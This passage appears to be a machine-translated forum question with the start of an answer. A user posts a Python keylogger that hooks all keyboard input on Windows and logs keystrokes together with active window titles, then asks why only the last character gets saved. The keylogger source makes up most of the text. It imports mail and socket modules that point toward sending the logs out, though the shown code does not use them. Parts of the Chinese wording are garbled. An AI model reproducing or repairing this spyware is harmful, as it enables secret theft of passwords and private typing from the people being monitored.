此来源存在问题。 一旦进入像记事本这样的程序,就可以编写一个写成最后一个字符的文本
例如,程序记事本写道:"我是程序员" 但存储在其上的键盘记录文件:
[*] Window activated. [2015-11-25 09: 57: 08.805000]
**********************
Untitled - Notepad |
**********************
r
问题出在哪里?我该怎么办 ?请告诉我
from threading import Timer
import subprocess, socket, base64, time, datetime
import pythoncom, pyHook, win32api, win32gui,win32con, smtplib
from time import strftime,gmtime
LOG_ACTIVE=''
LOG_FILENAME="kianoush.txt"
def OnKeyboardEvent(event):
global LOG_TEXT, LOG_FILE, LOG_STATE, LOG_ACTIVE, main_thread_id
LOG_TEXT = ""
LOG_FILE = open(LOG_FILENAME, 'w')
WindowsTitle=''
wg=win32gui
LOG_NEWACTIVE = NewWindowsTitle = wg.GetWindowText(wg.GetForegroundWindow())
if NewWindowsTitle!=WindowsTitle:
LOG_DATE = datetime.datetime.now()
LOG_TEXT += "\n\n[*] Window activated. [" + str(LOG_DATE) + "] \n"
LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n"
LOG_TEXT += " " + LOG_NEWACTIVE + " |\n"
LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n\n"
print LOG_TEXT
WindowsTitle=NewWindowsTitle
LOG_FILE.write(LOG_TEXT)
LOG_TEXT = ""
if event.Ascii == 8: LOG_TEXT += "\b"
elif event.Ascii == 13 or event.Ascii == 9: LOG_TEXT += "\n"
else: LOG_TEXT += str(chr(event.Ascii))
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
答案 0 :(得分:1)
我在您的代码中看到两个主要问题: